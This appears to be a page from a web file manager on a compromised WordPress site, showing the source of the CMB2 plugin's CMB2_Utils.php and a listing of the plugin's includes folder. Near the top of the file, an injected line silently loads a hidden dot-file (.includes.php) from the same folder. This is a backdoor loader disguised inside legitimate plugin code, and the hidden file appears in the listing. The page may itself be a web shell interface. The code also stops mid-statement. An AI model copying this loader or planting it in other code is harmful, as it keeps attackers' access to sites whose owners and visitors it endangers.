PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
cmb2
/
includes
<?php /** * CMB2 Utilities * * @since 1.1.0 * * @category WordPress_Plugin * @package CMB2 * @author CMB2 team * @license GPL-2.0+ * @link https://cmb2.io */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class CMB2_Utils { /** * The WordPress ABSPATH constant. * * @var string * @since 2.2.3 */ protected static $ABSPATH = ABSPATH; /** * The url which is used to load local resources. * * @var string * @since 2.0.0 */ protected static $url = ''; /** * Utility method that attempts to get an attachment's ID by it's url * * @since 1.0.0 * @param string $img_url Attachment url. * @return int|false Attachment ID or false */ public static function image_id_from_url( $img_url ) { $attachment_id = 0; $dir = wp_upload_dir(); // Is URL in uploads directory? if ( false === strpos( $img_url, $dir['baseurl'] . '/' ) ) { return false; } $file = basename( $img_url ); $query_args = array( 'post_type' => 'attachment', 'post_status' => 'inherit', 'fields' => 'ids', 'meta_query' => array( array( 'value' => $file, 'compare' => 'LIKE', 'key' => '_wp_attachment_metadata', ), ), ); $query = new WP_Query( $query_args ); if ( $query->have_posts() ) { foreach ( $query->posts as $post_id ) { $meta = wp_get_attachment_metadata( $post_id ); $original_file = basename( $meta['file'] ); $cropped_image_files = isset( $meta['sizes'] ) ? wp_list_pluck( $meta['sizes'], 'file' ) : array(); if ( $original_file === $file || in_array( $file, $cropped_image_files ) ) { $attachment_id = $post_id; break; } } } return 0 === $attachment_id ? false : $attachment_id; } /** * Utility method to get a combined list of default and custom registered image sizes * * @since 2.2.4 * @link http://core.trac.wordpress.org/ticket/18947 * @global array $_wp_additional_image_sizes * @return array The image sizes */ public static function get_available_image_sizes() { global $_wp_additional_image_sizes; $default_image_sizes = array( 'thumbnail', 'medium', 'large' ); foreach ( $default_image_sizes as $size ) { $image_sizes[ $size ] = array( 'height' => intval( get_option( "{$size}_size_h" ) ), 'width' => intval( get_option( "{$size}_size_w" ) ), 'crop' => get_option( "{$size}_crop" ) ? get_option( "{$size}_crop" ) : false, ); } if ( isset( $_wp_additional_image_sizes ) && count( $_wp_additional_image_sizes ) ) { $image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes ); } return $image_sizes; } /** * Utility method to return the closest named size from an array of values * * Based off of WordPress's image_get_intermediate_size() * If the size matches an existing size then it will be used. If there is no * direct match, then the nearest image size larger than the specified size * will be used. If nothing is found, then the function will return false. * Uses get_available_image_sizes() to get all available sizes. * * @since 2.2.4 * @param array|string $size Image size. Accepts an array of width and height (in that order). * @return false|string Named image size e.g. 'thumbnail' */ public static function get_named_size( $size ) { $data = array(); // Find the best match when '$size' is an array. if ( is_array( $size ) ) { $image_sizes = self::get_available_image_sizes(); $candidates = array(); foreach ( $image_sizes as $_size => $data ) { // If there's an exact match to an existing image size, short circuit. if ( $data['width'] == $size[0] && $data['height'] == $size[1] ) { $candidates[ $data['width'] * $data['height'] ] = array( $_size, $data ); break; } // If it's not an exact match, consider larger sizes with the same aspect ratio. if ( $data['width'] >= $size[0] && $data['height'] >= $size[1] ) { /** * To test for varying crops, we constrain the dimensions of the larger image * to the dimensions of the smaller image and see if they match. */ if ( $data['width'] > $size[0] ) { $constrained_size = wp_constrain_dimensions( $data['width'], $data['height'], $size[0] ); $expected_size = array( $size[0], $size[1] ); } else { $constrained_size = wp_constrain_dimensions( $size[0], $size[1], $data['width'] ); $expected_size = array( $data['width'], $data['height'] ); } // If the image dimensions are within 1px of the expected size, we consider it a match. $matched = ( abs( $constrained_size[0] - $expected_size[0] ) <= 1 && abs( $constrained_size[1] - $expected_size[1] ) <= 1 ); if ( $matched ) { $candidates[ $data['width'] * $data['height'] ] = array( $_size, $data ); } } } if ( ! empty( $candidates ) ) { // Sort the array by size if we have more than one candidate. if ( 1 < count( $candidates ) ) { ksort( $candidates ); } $data = array_shift( $candidates ); $data = $data[0]; } elseif ( ! empty( $image_sizes['thumbnail'] ) && $image_sizes['thumbnail']['width'] >= $size[0] && $image_sizes['thumbnail']['width'] >= $size[1] ) { /* * When the size requested is smaller than the thumbnail dimensions, we * fall back to the thumbnail size. */ $data = 'thumbnail'; } else { return false; } } elseif ( ! empty( $image_sizes[ $size ] ) ) { $data = $size; }// End if. // If we still don't have a match at this point, return false. if ( empty( $data ) ) { return false; } return $data; } /** * Utility method that returns time string offset by timezone * * @since 1.0.0 * @param string $tzstring Time string. * @return string Offset time string */ public static function timezone_offset( $tzstring ) { $tz_offset = 0; if ( ! empty( $tzstring ) && is_string( $tzstring ) ) { if ( 'UTC' === substr( $tzstring, 0, 3 ) ) { $tzstring = str_replace( array( ':15', ':30', ':45' ), array( '.25', '.5', '.75' ), $tzstring ); return intval( floatval( substr( $tzstring, 3 ) ) * HOUR_IN_SECONDS ); } try { $date_time_zone_selected = new DateTimeZone( $tzstring ); $tz_offset = timezone_offset_get( $date_time_zone_selected, date_create() ); } catch ( Exception $e ) { self::log_if_debug( __METHOD__, __LINE__, $e->getMessage() ); } } return $tz_offset; } /** * Utility method that returns a timezone string representing the default timezone for the site. * * Roughly copied from WordPress, as get_option('timezone_string') will return * an empty string if no value has been set on the options page. * A timezone string is required by the wp_timezone_choice() used by the * select_timezone field. * * @since 1.0.0 * @return string Timezone string */ public static function timezone_string() { $current_offset = get_option( 'gmt_offset' ); $tzstring = get_option( 'timezone_string' ); // Remove old Etc mappings. Fallback to gmt_offset. if ( false !== strpos( $tzstring, 'Etc/GMT' ) ) { $tzstring = ''; } if ( empty( $tzstring ) ) { // Create a UTC+- zone if no timezone string exists. if ( 0 == $current_offset ) { $tzstring = 'UTC+0'; } elseif ( $current_offset < 0 ) { $tzstring = 'UTC' . $current_offset; } else { $tzstring = 'UTC+' . $current_offset; } } return $tzstring; } /** * Returns a timestamp, first checking if value already is a timestamp. * * @since 2.0.0 * @param string|int $string Possible timestamp string. * @return int Time stamp. */ public static function make_valid_time_stamp( $string ) { if ( ! $string ) { return 0; } return self::is_valid_time_stamp( $string ) ? (int) $string : strtotime( (string) $string ); } /** * Determine if a value is a valid timestamp * * @since 2.0.0 * @param mixed $timestamp Value to check. * @return boolean Whether value is a valid timestamp */ public static function is_valid_time_stamp( $timestamp ) { return (string) (int) $timestamp === (string) $timestamp && $timestamp <= PHP_INT_MAX && $timestamp >= ~PHP_IN
[+]
..
[+]
shim
[+]
types
[-] CMB2_Hookup_Base.php
[edit]
[-] CMB2_Options.php
[edit]
[-] CMB2_Ajax.php
[edit]
[-] helper-functions.php
[edit]
[-] CMB2_Show_Filters.php
[edit]
[-] CMB2_Field.php
[edit]
[-] CMB2.php
[edit]
[-] CMB2_Boxes.php
[edit]
[-] CMB2_Hookup.php
[edit]
[-] CMB2_Sanitize.php
[edit]
[-] CMB2_Field_Display.php
[edit]
[-] CMB2_JS.php
[edit]
[-] CMB2_Options_Hookup.php
[edit]
[-] CMB2_Base.php
[edit]
[-] .includes.php
[edit]
[-] CMB2_Utils.php
[edit]
[+]
rest-api
[-] CMB2_Types.php
[edit]
[-] index.php
[edit]